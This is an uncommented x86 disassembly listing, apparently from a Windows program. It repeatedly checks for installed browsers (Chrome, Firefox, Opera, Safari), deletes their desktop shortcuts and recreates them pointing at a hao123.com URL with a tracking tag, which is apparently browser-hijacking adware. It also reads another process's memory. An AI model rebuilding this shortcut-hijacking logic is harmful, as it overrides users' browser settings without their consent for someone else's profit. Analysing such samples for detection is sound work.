lea ecx, [ebp - 0x668]
call fcn.00402bf0
lea ecx, [ebp - 0x6ec]
call fcn.004021f0
mov esi, dword [ebp - 0x668]
cmp dword [esi - 0xc], 0
jl 0x424bb5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x424bb5
sub eax, esi
sar eax, 1
je 0x424e22
lea ecx, [ebp - 0x668]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x424e22
push 0x20
lea ecx, [ebp - 0x668]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6a4]
push eax
lea ecx, [ebp - 0x668]
call fcn.00421b00
mov edi, dword [ebp - 0x6a4]
cmp dword [edi - 0xc], 0
jge 0x424c0f
or esi, 0xffffffff
jmp 0x424c2c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x424c26
or esi, 0xffffffff
jmp 0x424c2c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6a4]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x73c]
push ecx
lea ecx, [ebp - 0x6a4]
call fcn.00421b00
lea ecx, [ebp - 0x73c]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x668]
call fcn.0041f1c0
lea ecx, [ebp - 0x6a4]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x424e17
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x424d00
mov ecx, dword [str.32345]
mov edx, dword [0x448b38]
mov dword [eax], ecx
mov ecx, dword [0x448b3c]
mov dword [eax + 4], edx
mov edx, dword [0x448b40]
mov dword [eax + 8], ecx
mov ecx, dword [0x448b44]
mov dword [eax + 0xc], edx
mov dl, byte [0x448b48]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
mov eax, dword [ebp - 0x668]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x424d6b
push 0x104
lea ecx, [ebp - 0x668]
call fcn.00401bb0
mov eax, dword [ebp - 0x668]
push eax
lea ecx, [ebp - 0x6f4]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6f4]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6a4]
call fcn.004021f0
lea ecx, [ebp - 0x668]
jmp 0x42736a
lea ecx, [ebp - 0x62c]
push str.Google_Chrome
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426fcb
lea edx, [ebp - 0x62c]
push str.Chrome
push edx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426fcb
lea eax, [ebp - 0x62c]
push str.firefox
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426c34
lea ecx, [ebp - 0x62c]
push str.Mozilla_Firefox
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426c34
lea edx, [ebp - 0x62c]
push 0x448acc
push edx
call fcn.0041bc80
add esp, 8
test al, al
je 0x42524b
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x30e]
push ecx
mov word [ebp - 0x310], ax
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x310]
push edx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x424ef0
mov eax, dword [0x447ed4]
mov dword [edi], eax
mov eax, dword [ebp - 0x62c]
mov edx, eax
jmp 0x424f10
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x424f10
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x424f26
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x424f50
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x424f50
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x670]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x764]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x670]
call fcn.00402bf0
lea ecx, [ebp - 0x764]
call fcn.004021f0
mov esi, dword [ebp - 0x670]
cmp dword [esi - 0xc], 0
jl 0x424fe5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x424fe5
sub eax, esi
sar eax, 1
je 0x425240
lea ecx, [ebp - 0x670]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x425240
push 0x20
lea ecx, [ebp - 0x670]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6ac]
push eax
lea ecx, [ebp - 0x670]
call fcn.00421b00
mov edi, dword [ebp - 0x6ac]
cmp dword [edi - 0xc], 0
jge 0x42503f
or esi, 0xffffffff
jmp 0x42505c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x425056
or esi, 0xffffffff
jmp 0x42505c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6ac]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6fc]
push ecx
lea ecx, [ebp - 0x6ac]
call fcn.00421b00
lea ecx, [ebp - 0x6fc]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x670]
call fcn.0041f1c0
lea ecx, [ebp - 0x6ac]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x425235
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x425130
mov ecx, dword [0x448abc]
mov edx, dword [0x448ac0]
mov dword [eax], ecx
mov ecx, dword [0x448ac4]
mov dword [eax + 4], edx
mov edx, dword [0x448ac8]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x670]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x425189
push 0x104
lea ecx, [ebp - 0x670]
call fcn.00401bb0
mov eax, dword [ebp - 0x670]
push eax
lea ecx, [ebp - 0x744]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x744]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6ac]
call fcn.004021f0
lea ecx, [ebp - 0x670]
jmp 0x42736a
lea ecx, [ebp - 0x62c]
push 0x448aac
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x425604
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4252a0
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4252c0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4252d6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x425300
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x425300
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x678]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x704]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x678]
call fcn.00402bf0
lea ecx, [ebp - 0x704]
call fcn.004021f0
mov esi, dword [ebp - 0x678]
cmp dword [esi - 0xc], 0
jl 0x425395
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x425395
sub eax, esi
sar eax, 1
je 0x4255f9
lea ecx, [ebp - 0x678]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x4255f9
push 0x20
lea ecx, [ebp - 0x678]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6b4]
push eax
lea ecx, [ebp - 0x678]
call fcn.00421b00
mov edi, dword [ebp - 0x6b4]
cmp dword [edi - 0xc], 0
jge 0x4253ef
or esi, 0xffffffff
jmp 0x42540c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x425406
or esi, 0xffffffff
jmp 0x42540c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6b4]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x768]
push ecx
lea ecx, [ebp - 0x6b4]
call fcn.00421b00
lea ecx, [ebp - 0x768]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x678]
call fcn.0041f1c0
lea ecx, [ebp - 0x6b4]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x4255ee
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4254e0
mov ecx, dword [0x448a98]
mov edx, dword [0x448a9c]
mov dword [eax], ecx
mov ecx, dword [0x448aa0]
mov dword [eax + 4], edx
mov edx, dword [0x448aa4]
mov dword [eax + 8], ecx
mov ecx, dword [0x448aa8]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 0x678]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x425542
push 0x104
lea ecx, [ebp - 0x678]
call fcn.00401bb0
mov eax, dword [ebp - 0x678]
push eax
lea ecx, [ebp - 0x70c]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x70c]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6b4]
call fcn.004021f0
lea ecx, [ebp - 0x678]
jmp 0x42736a
lea eax, [ebp - 0x62c]
push 0x448a8c
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x4259af
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x425656
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x425672
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
jmp 0x425690
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x425690
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4256b5
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x664]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x74c]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x664]
call fcn.00402bf0
lea ecx, [ebp - 0x74c]
call fcn.004021f0
mov esi, dword [ebp - 0x664]
cmp dword [esi - 0xc], 0
jl 0x42574a
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x42574a
sub eax, esi
sar eax, 1
je 0x4259a4
lea edx, [ebp - 0x664]
push 0x445e0c
push edx
call fcn.0040e670
add esp, 8
test al, al
je 0x4259a4
push 0x20
lea ecx, [ebp - 0x664]
call fcn.00413e90
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub ecx, eax
push ecx
push eax
lea edx, [ebp - 0x688]
push edx
lea ecx, [ebp - 0x664]
call fcn.00421b00
mov edi, dword [ebp - 0x688]
cmp dword [edi - 0xc], 0
jge 0x4257a4
or esi, 0xffffffff
jmp 0x4257c1
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x4257bb
or esi, 0xffffffff
jmp 0x4257c1
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x688]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea eax, [ebp - 0x714]
push eax
lea ecx, [ebp - 0x688]
call fcn.00421b00
lea ecx, [ebp - 0x714]
call fcn.004021f0
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x664]
call fcn.0041f1c0
lea eax, [ebp - 0x688]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x425999
lea ecx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x425894
mov ecx, dword [0x448a7c]
mov edx, dword [0x448a80]
mov dword [eax], ecx
mov ecx, dword [0x448a84]
mov dword [eax + 4], edx
mov edx, dword [0x448a88]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x664]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x4258ed
push 0x104
lea ecx, [ebp - 0x664]
call fcn.00401bb0
mov eax, dword [ebp - 0x664]
push eax
lea ecx, [ebp - 0x76c]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x76c]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x688]
call fcn.004021f0
lea ecx, [ebp - 0x664]
jmp 0x42736a
lea ecx, [ebp - 0x62c]
push str.Opera
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x425d5d
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x425a01
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x425a20
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x425a36
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x425a60
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x425a60
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x644]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x71c]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x644]
call fcn.00402bf0
lea ecx, [ebp - 0x71c]
call fcn.004021f0
mov esi, dword [ebp - 0x644]
cmp dword [esi - 0xc], 0
jl 0x425af5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x425af5
sub eax, esi
sar eax, 1
je 0x425d52
lea ecx, [ebp - 0x644]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x425d52
push 0x20
lea ecx, [ebp - 0x644]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x68c]
push eax
lea ecx, [ebp - 0x644]
call fcn.00421b00
mov edi, dword [ebp - 0x68c]
cmp dword [edi - 0xc], 0
jge 0x425b4f
or esi, 0xffffffff
jmp 0x425b6c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x425b66
or esi, 0xffffffff
jmp 0x425b6c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x68c]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x754]
push ecx
lea ecx, [ebp - 0x68c]
call fcn.00421b00
lea ecx, [ebp - 0x754]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x644]
call fcn.0041f1c0
lea ecx, [ebp - 0x68c]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x425d47
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x425c40
mov ecx, dword [str.Opera.lnk]
mov edx, dword [0x448a68]
mov dword [eax], ecx
mov cx, word [0x448a6c]
mov dword [eax + 4], edx
mov dl, byte [0x448a6e]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov eax, dword [ebp - 0x644]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x425c9b
push 0x104
lea ecx, [ebp - 0x644]
call fcn.00401bb0
mov eax, dword [ebp - 0x644]
push eax
lea ecx, [ebp - 0x724]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x724]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x68c]
call fcn.004021f0
lea ecx, [ebp - 0x644]
jmp 0x42736a
lea ecx, [ebp - 0x62c]
push str.Safari
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x426102
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x425db0
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x425dd0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x425de6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x425e10
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x425e10
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x650]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x770]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x650]
call fcn.00402bf0
lea ecx, [ebp - 0x770]
call fcn.004021f0
mov esi, dword [ebp - 0x650]
cmp dword [esi - 0xc], 0
jl 0x425ea5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x425ea5
sub eax, esi
sar eax, 1
je 0x4260f7
lea ecx, [ebp - 0x650]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x4260f7
push 0x20
lea ecx, [ebp - 0x650]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6a0]
push eax
